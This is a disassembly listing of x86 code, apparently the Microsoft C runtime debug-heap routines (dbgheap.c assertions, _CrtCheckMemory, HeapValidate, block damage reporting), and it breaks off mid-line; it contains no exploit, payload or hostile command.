; Trap to Debugger loc_41CCC5: ; CODE XREF: sub_41CA80+222j ; sub_41CA80+242j xor ecx, ecx test ecx, ecx jnz short loc_41CC8F mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, ds:byte_4517ED push ecx mov edx, [ebp+var_4] push edx call sub_41E4B0 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_423CD0 add esp, 4 jmp loc_41CE65 ; --------------------------------------------------------------------------- loc_41CCFB: ; CODE XREF: sub_41CA80+20Dj mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 2 jnz short loc_41CD11 cmp [ebp+arg_4], 1 jnz short loc_41CD11 mov [ebp+arg_4], 2 loc_41CD11: ; CODE XREF: sub_41CA80+282j ; sub_41CA80+288j ... mov edx, [ebp+var_4] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41CD3D push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 43Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CD3D int 3 ; Trap to Debugger loc_41CD3D: ; CODE XREF: sub_41CA80+29Aj ; sub_41CA80+2BAj xor ecx, ecx test ecx, ecx jnz short loc_41CD11 mov edx, [ebp+var_4] mov eax, ds:dword_4F32EC sub eax, [edx+10h] mov ds:dword_4F32EC, eax mov ecx, ds:dword_4517E0 and ecx, 2 test ecx, ecx jnz loc_41CE3C mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_41CD7C mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+4] mov [ecx+4], eax jmp short loc_41CDBA ; --------------------------------------------------------------------------- loc_41CD7C: ; CODE XREF: sub_41CA80+2EAj ; sub_41CA80+32Cj mov ecx, ds:dword_4F32E0 cmp ecx, [ebp+var_4] jz short loc_41CDA8 push offset a_plastblockPhe ; "_pLastBlock == pHead" push 0 push 44Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CDA8 int 3 ; Trap to Debugger loc_41CDA8: ; CODE XREF: sub_41CA80+305j ; sub_41CA80+325j xor edx, edx test edx, edx jnz short loc_41CD7C mov eax, [ebp+var_4] mov ecx, [eax+4] mov ds:dword_4F32E0, ecx loc_41CDBA: ; CODE XREF: sub_41CA80+2FAj mov edx, [ebp+var_4] cmp dword ptr [edx+4], 0 jz short loc_41CDD2 mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx] mov [ecx], eax jmp short loc_41CE0F ; --------------------------------------------------------------------------- loc_41CDD2: ; CODE XREF: sub_41CA80+341j ; sub_41CA80+382j mov ecx, ds:dword_4F32E8 cmp ecx, [ebp+var_4] jz short loc_41CDFE push offset a_pfirstblockPh ; "_pFirstBlock == pHead" push 0 push 455h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CDFE int 3 ; Trap to Debugger loc_41CDFE: ; CODE XREF: sub_41CA80+35Bj ; sub_41CA80+37Bj xor edx, edx test edx, edx jnz short loc_41CDD2 mov eax, [ebp+var_4] mov ecx, [eax] mov ds:dword_4F32E8, ecx loc_41CE0F: ; CODE XREF: sub_41CA80+350j mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, ds:byte_4517ED push ecx mov edx, [ebp+var_4] push edx call sub_41E4B0 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_423CD0 add esp, 4 jmp short loc_41CE65 ; --------------------------------------------------------------------------- loc_41CE3C: ; CODE XREF: sub_41CA80+2DEj mov ecx, [ebp+var_4] mov dword ptr [ecx+14h], 0 mov edx, [ebp+var_4] mov eax, [edx+10h] push eax xor ecx, ecx mov cl, ds:byte_4517ED push ecx mov edx, [ebp+var_4] add edx, 20h push edx call sub_41E4B0 add esp, 0Ch loc_41CE65: ; CODE XREF: sub_41CA80+49j ; sub_41CA80+93j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CA80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41CE90 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE90 proc near ; CODE XREF: _0:0041CE79p ; sub_420C50+11p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041D00C SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C928 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov eax, ds:dword_4517E0 and eax, 4 test eax, eax jz short loc_41CEEF loc_41CEBF: ; CODE XREF: sub_41CE90+5Dj call sub_41D1D0 test eax, eax jnz short loc_41CEE9 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 49Dh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CEE9 int 3 ; Trap to Debugger loc_41CEE9: ; CODE XREF: sub_41CE90+36j ; sub_41CE90+56j xor ecx, ecx test ecx, ecx jnz short loc_41CEBF loc_41CEEF: ; CODE XREF: sub_41CE90+2Dj push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 loc_41CF00: ; CODE XREF: sub_41CE90+A5j mov edx, [ebp+arg_0] push edx call sub_41D6B0 add esp, 4 test eax, eax jnz short loc_41CF31 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 4A9h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CF31 int 3 ; Trap to Debugger loc_41CF31: ; CODE XREF: sub_41CE90+7Ej ; sub_41CE90+9Ej xor eax, eax test eax, eax jnz short loc_41CF00 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_20], ecx loc_41CF40: ; CODE XREF: sub_41CE90+107j mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41CF93 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 1 jz short loc_41CF93 mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41CF93 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_41CF93 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4AFh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CF93 int 3 ; Trap to Debugger loc_41CF93: ; CODE XREF: sub_41CE90+BEj ; sub_41CE90+C7j ... xor edx, edx test edx, edx jnz short loc_41CF40 mov eax, [ebp+var_20] cmp dword ptr [eax+14h], 2 jnz short loc_41CFAF cmp [ebp+arg_4], 1 jnz short loc_41CFAF mov [ebp+arg_4], 2 loc_41CFAF: ; CODE XREF: sub_41CE90+110j ; sub_41CE90+116j mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_41CFEA loc_41CFB8: ; CODE XREF: sub_41CE90+158j mov edx, [ebp+var_20] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_41CFE4 push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 4B6h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CFE4 int 3 ; Trap to Debugger loc_41CFE4: ; CODE XREF: sub_41CE90+131j ; sub_41CE90+151j xor ecx, ecx test ecx, ecx jnz short loc_41CFB8 loc_41CFEA: ; CODE XREF: sub_41CE90+126j mov edx, [ebp+var_20] mov eax, [edx+10h] mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41D001 jmp short loc_41D00C sub_41CE90 endp ; =============== S U B R O U T I N E ======================================= sub_41D001 proc near ; CODE XREF: sub_41CE90+16Ap ; DATA XREF: _1:0043C930o push 9 call sub_423320 add esp, 4 retn sub_41D001 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41CE90 loc_41D00C: ; CODE XREF: sub_41CE90+16Fj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41CE90 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, ds:dword_4517E8 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_4517E8, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C938 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi push 9 call sub_423280 add esp, 4 mov dword ptr [ebp-4], 0 mov eax, [ebp+8] push eax call sub_41D6B0 add esp, 4 test eax, eax jz short loc_41D0EF mov ecx, [ebp+8] sub ecx, 20h mov [ebp-1Ch], ecx loc_41D08D: ; CODE XREF: _0:0041D0E4j mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41D0E0 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 1 jz short loc_41D0E0 mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41D0E0 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 3 jz short loc_41D0E0 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4FFh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41D0E0 int 3 ; Trap to Debugger loc_41D0E0: ; CODE XREF: _0:0041D09Bj _0:0041D0A4j ... xor edx, edx test edx, edx jnz short loc_41D08D mov eax, [ebp-1Ch] mov ecx, [ebp+0Ch] mov [eax+14h], ecx loc_41D0EF: ; CODE XREF: _0:0041D082j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_41D0FD jmp short loc_41D108 ; =============== S U B R O U T I N E ======================================= sub_41D0FD proc near ; CODE XREF: _0:0041D0F6p ; DATA XREF: _1:0043C940o push 9 call sub_423320 add esp, 4 retn sub_41D0FD endp ; --------------------------------------------------------------------------- loc_41D108: ; CODE XREF: _0:0041D0FBj mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:off_451BB0 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:off_451BB0, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D140 proc near ; CODE XREF: sub_41CA80+151p ; sub_41CA80+1B7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 1 loc_41D14E: ; CODE XREF: sub_41D140:loc_41D1BCj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_41D1BE mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_4] and ecx, 0FFh mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp eax, ecx jz short loc_41D1BC loc_41D17B: ; CODE XREF: sub_41D140+73j mov eax, [ebp+arg_4] and eax, 0FFh push eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx-1] push edx mov eax, [ebp+arg_0] sub eax, 1 push eax push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "... push 0 push 0 push 0 push 0 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41D1AF int 3 ; Trap to Debugger loc_41D1AF: ; CODE XREF: sub_41D140+6Cj xor ecx, ecx test ecx, ecx jnz short loc_41D17B mov [ebp+var_4], 0 loc_41D1BC: ; CODE XREF: sub_41D140+39j jmp short loc_41D14E ; --------------------------------------------------------------------------- loc_41D1BE: ; CODE XREF: sub_41D140+1Cj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D140 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1D0 proc near ; CODE XREF: sub_41BF80:loc_41BF9Cp ; sub_41C3F0:loc_41C452p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041D550 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43CAC0 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov eax, ds:dword_4517E0 and eax, 1 test eax, eax jnz short loc_41D209 mov eax, 1 jmp loc_41D553 ; --------------------------------------------------------------------------- loc_41D209: ; CODE XREF: sub_41D1D0+2Dj push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 call sub_423E20 mov [ebp+var_24], eax cmp [ebp+var_24], 0FFFFFFFFh jz loc_41D32E cmp [ebp+var_24], 0FFFFFFFEh jz loc_41D32E mov ecx, [ebp+var_24] mov [ebp+var_30], ecx mov edx, [ebp+var_30] add edx, 6 mov [ebp+var_30], edx cmp [ebp+var_30], 3 ja loc_41D2FC mov eax, [ebp+var_30] jmp off_41D564[eax*4] loc_41D259: ; CODE XREF: sub_41D1D0+ADj ; DATA XREF: _0:0041D570o push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41D279 int 3 ; Trap to Debugger loc_41D279: ; CODE XREF: sub_41D1D0+A6j xor ecx, ecx test ecx, ecx jnz short loc_41D259 jmp loc_41D322 ; --------------------------------------------------------------------------- loc_41D284: ; CODE XREF: sub_41D1D0+82j ; sub_41D1D0+D8j ; DATA XREF: ... push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41D2A4 int 3 ; Trap to Debugger loc_41D2A4: ; CODE XREF: sub_41D1D0+D1j xor edx, edx test edx, edx jnz short loc_41D284 jmp short loc_41D322 ; --------------------------------------------------------------------------- loc_41D2AC: ; CODE XREF: sub_41D1D0+82j ; sub_41D1D0+100j ; DATA XREF: ... push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41D2CC int 3 ; Trap to Debugger loc_41D2CC: ; CODE XREF: sub_41D1D0+F9j xor eax, eax test eax, eax jnz short loc_41D2AC jmp short loc_41D322 ; --------------------------------------------------------------------------- loc_41D2D4: ; CODE XREF: sub_41D1D0+82j ; sub_41D1D0+128j ; DATA XREF: ... push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41D2F4 int 3 ; Trap to Debugger loc_41D2F4: ; CODE XREF: sub_41D1D0+121j xor ecx, ecx test ecx, ecx jnz short loc_41D2D4 jmp short loc_41D322 ; --------------------------------------------------------------------------- loc_41D2FC: ; CODE XREF: sub_41D1D0+79j ; sub_41D1D0+150j push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"... push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41D31C int 3 ; Trap to Debugger loc_41D31C: ; CODE XREF: sub_41D1D0+149j xor edx, edx test edx, edx jnz short loc_41D2FC loc_41D322: ; CODE XREF: sub_41D1D0+AFj ; sub_41D1D0+DAj ... mov [ebp+var_1C], 0 jmp loc_41D537 ; --------------------------------------------------------------------------- loc_41D32E: ; CODE XREF: sub_41D1D0+56j ; sub_41D1D0+60j mov [ebp+var_1C], 1 mov eax, ds:dword_4F32E8 mov [ebp+var_20], eax jmp short loc_41D347 ; --------------------------------------------------------------------------- loc_41D33F: ; CODE XREF: sub_41D1D0:loc_41D532j mov ecx, [ebp+var_20] mov edx, [ecx] mov [ebp+var_20], edx loc_41D347: ; CODE XREF: sub_41D1D0+16Dj cmp [ebp+var_20], 0 jz loc_41D537 mov [ebp+var_28], 1 mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 4 jz short loc_41D38C mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 1 jz short loc_41D38C mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41D38C mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 3 jnz short loc_41D3A4 loc_41D38C: ; CODE XREF: sub_41D1D0+197j ; sub_41D1D0+1A0j ... mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, ds:off_4517F0[ecx*4] mov [ebp+var_2C], edx jmp short loc_41D3AB ; --------------------------------------------------------------------------- loc_41D3A4: ; CODE XREF: sub_41D1D0+1BAj mov [ebp+var_2C], offset aDamaged ; "DAMAGED" loc_41D3AB: ; CODE XREF: sub_41D1D0+1D2j push 4 mov al, ds:byte_4517EC push eax mov ecx, [ebp+var_20] add ecx, 1Ch push ecx call sub_41D140 add esp, 0Ch test eax, eax jnz short loc_41D400 loc_41D3C6: ; CODE XREF: sub_41D1D0+227j mov edx, [ebp+var_20] add edx, 20h push edx mov eax, [ebp+var_20] mov ecx, [eax+18h] push ecx mov edx, [ebp+var_2C] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 0 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41D3F3 int 3 ; Trap to Debugger loc_41D3F3: ; CODE XREF: sub_41D1D0+220j xor eax, eax test eax, eax jnz short loc_41D3C6 mov [ebp+var_28], 0 loc_41D400: ; CODE XREF: sub_41D1D0+1F4j push 4 mov cl, ds:byte_4517EC push ecx mov edx, [ebp+var_20] mov eax, [edx+10h] mov ecx, [ebp+var_20] lea edx, [ecx+eax+20h] push edx call sub_41D140 add esp, 0Ch test eax, eax jnz short loc_41D45D loc_41D423: ; CODE XREF: sub_41D1D0+284j mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, [ebp+var_20] mov edx, [ecx+18h] push edx mov eax, [ebp+var_2C] push eax push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 0 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41D450 int 3 ; Trap to Debugger loc_41D450: ; CODE XREF: sub_41D1D0+27Dj xor ecx, ecx test ecx, ecx jnz short loc_41D423 mov [ebp+var_28], 0 loc_41D45D: ; CODE XREF: sub_41D1D0+251j mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 0 jnz short loc_41D4B6 mov eax, [ebp+var_20] mov ecx, [eax+10h] push ecx mov dl, ds:byte_4517ED push edx mov eax, [ebp+var_20] add eax, 20h push eax call sub_41D140 add esp, 0Ch test eax, eax jnz short loc_41D4B6 loc_41D487: ; CODE XREF: sub_41D1D0+2DDj mov ecx, [ebp+var_20] add ecx, 20h push ecx push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."... push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41D4A9 int 3 ; Trap to Debugger loc_41D4A9: ; CODE XREF: sub_41D1D0+2D6j xor edx, edx test edx, edx jnz short loc_41D487 mov [ebp+var_28], 0 loc_41D4B6: ; CODE XREF: sub_41D1D0+294j ; sub_41D1D0+2B5j cmp [ebp+var_28], 0 jnz short loc_41D532 mov eax, [ebp+var_20] cmp dword ptr [eax+8], 0 jz short loc_41D4F8 loc_41D4C5: ; CODE XREF: sub_41D1D0+326j mov ecx, [ebp+var_20] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_20] mov ecx, [eax+8] push ecx mov edx, [ebp+var_2C] push edx push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n" push 0 push 0 push 0 push 0 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41D4F2 int 3 ; Trap to Debugger loc_41D4F2: ; CODE XREF: sub_41D1D0+31Fj xor eax, eax test eax, eax jnz short loc_41D4C5 loc_41D4F8: ; CODE XREF: sub_41D1D0+2F3j ; sub_41D1D0+359j mov ecx, [ebp+var_20] mov edx, [ecx+10h] push edx mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, [ebp+var_2C] push ecx push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."... push 0 push 0 push 0 push 0 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41D525 int 3 ; Trap to Debugger loc_41D525: ; CODE XREF: sub_41D1D0+352j xor edx, edx test edx, edx jnz short loc_41D4F8 mov [ebp+var_1C], 0 loc_41D532: ; CODE XREF: sub_41D1D0+2EAj jmp loc_41D33F ; --------------------------------------------------------------------------- loc_41D537: ; CODE XREF: sub_41D1D0+159j ; sub_41D1D0+17Bj mov [ebp+var_4], 0FFFFFFFFh call sub_41D545 jmp short loc_41D550 sub_41D1D0 endp ; =============== S U B R O U T I N E ======================================= sub_41D545 proc near ; CODE XREF: sub_41D1D0+36Ep ; DATA XREF: _1:0043CAC8o push 9 call sub_423320 add esp, 4 retn sub_41D545 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D1D0 loc_41D550: ; CODE XREF: sub_41D1D0+373j mov eax, [ebp+var_1C] loc_41D553: ; CODE XREF: sub_41D1D0+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41D1D0 ; --------------------------------------------------------------------------- off_41D564 dd offset loc_41D2D4 ; DATA XREF: sub_41D1D0+82r dd offset loc_41D2AC dd offset loc_41D284 dd offset loc_41D259 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D580 proc near ; CODE XREF: sub_41E920+A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, ds:dword_4517E0 mov [ebp+var_4], eax cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_41D59B mov ecx, [ebp+arg_0] mov ds:dword_4517E0, ecx loc_41D59B: ; CODE XREF: sub_41D580+10j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41D580 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43CAD0 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov eax, ds:dword_4517E0 and eax, 1 test eax, eax jnz short loc_41D5E1 jmp short loc_41D648 ; --------------------------------------------------------------------------- loc_41D5E1: ; CODE XREF: _0:0041D5DDj push 9 call sub_423280 add esp, 4 mov dword ptr [ebp-4], 0 mov ecx, ds:dword_4F32E8 mov [ebp-1Ch], ecx jmp short loc_41D605 ; --------------------------------------------------------------------------- loc_41D5FD: ; CODE XREF: _0:loc_41D62Dj mov edx, [ebp-1Ch] mov eax, [edx] mov [ebp-1Ch], eax loc_41D605: ; CODE XREF: _0:0041D5FBj cmp dword ptr [ebp-1Ch], 0 jz short loc_41D62F mov ecx, [ebp-1Ch] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_41D62D mov eax, [ebp+0Ch] push eax mov ecx, [ebp-1Ch] add ecx, 20h push ecx call dword ptr [ebp+8] add esp, 8 loc_41D62D: ; CODE XREF: _0:0041D61Aj jmp short loc_41D5FD ; --------------------------------------------------------------------------- loc_41D62F: ; CODE XREF: _0:0041D609j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_41D63D jmp short loc_41D648 ; =============== S U B R O U T I N E ======================================= sub_41D63D proc near ; CODE XREF: _0:0041D636p ; DATA XREF: _1:0043CAD8o push 9 call sub_423320 add esp, 4 retn sub_41D63D endp ; --------------------------------------------------------------------------- loc_41D648: ; CODE XREF: _0:0041D5DFj _0:0041D63Bj mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D660 proc near ; CODE XREF: sub_41D6B0+1Ep ; _0:0041D870p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jz short loc_41D69D mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F5470 ; IsBadReadPtr test eax, eax jnz short loc_41D69D cmp [ebp+arg_8], 0 jz short loc_41D694 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F546C ; IsBadWritePtr test eax, eax jnz short loc_41D69D loc_41D694: ; CODE XREF: sub_41D660+20j mov [ebp+var_4], 1 jmp short loc_41D6A4 ; --------------------------------------------------------------------------- loc_41D69D: ; CODE XREF: sub_41D660+8j ; sub_41D660+1Aj ... mov [ebp+var_4], 0 loc_41D6A4: ; CODE XREF: sub_41D660+3Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41D660 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6B0 proc near ; CODE XREF: sub_41C3F0+1AAp ; sub_41CA80+9Cp ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 jnz short loc_41D6C3 xor eax, eax jmp loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D6C3: ; CODE XREF: sub_41D6B0+Aj push 1 push 20h mov eax, [ebp+arg_0] sub eax, 20h push eax call sub_41D660 add esp, 0Ch test eax, eax jnz short loc_41D6E1 xor eax, eax jmp loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D6E1: ; CODE XREF: sub_41D6B0+28j cmp ds:dword_4F39EC, 3 jnz short loc_41D74E mov ecx, [ebp+arg_0] sub ecx, 20h push ecx call sub_4240F0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41D71A mov edx, [ebp+arg_0] sub edx, 20h push edx mov eax, [ebp+var_4] push eax call sub_424150 add esp, 8 jmp loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D71A: ; CODE XREF: sub_41D6B0+50j mov ecx, ds:dword_4F32F8 and ecx, 8000h test ecx, ecx jz short loc_41D734 mov eax, 1 jmp loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D734: ; CODE XREF: sub_41D6B0+78j mov edx, [ebp+arg_0] sub edx, 20h push edx push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F5474 ; HeapValidate jmp loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D74E: ; CODE XREF: sub_41D6B0+38j cmp ds:dword_4F39EC, 2 jnz short loc_41D7BA lea ecx, [ebp+var_8] push ecx lea edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] sub eax, 20h push eax call sub_426110 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_41D78D mov ecx, [ebp+var_C] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_41D789 mov eax, 1 jmp short loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D789: ; CODE XREF: sub_41D6B0+D0j xor eax, eax jmp short loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D78D: ; CODE XREF: sub_41D6B0+C5j mov eax, ds:dword_4F32F8 and eax, 8000h test eax, eax jz short loc_41D7A2 mov eax, 1 jmp short loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D7A2: ; CODE XREF: sub_41D6B0+E9j mov ecx, [ebp+arg_0] sub ecx, 20h push ecx push 0 mov edx, ds:dword_4F39E8 push edx call ds:dword_4F5474 ; HeapValidate jmp short loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D7BA: ; CODE XREF: sub_41D6B0+A5j mov eax, [ebp+arg_0] sub eax, 20h push eax push 0 mov ecx, ds:dword_4F39E8 push ecx call ds:dword_4F5474 ; HeapValidate loc_41D7D0: ; CODE XREF: sub_41D6B0+Ej ; sub_41D6B0+2Cj ... mov esp, ebp pop ebp retn sub_41D6B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43CAE0 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov eax, [ebp+8] push eax call sub_41D6B0 add esp, 4 test eax, eax jnz short loc_41D81A xor eax, eax jmp loc_41D8F4 ; --------------------------------------------------------------------------- loc_41D81A: ; CODE 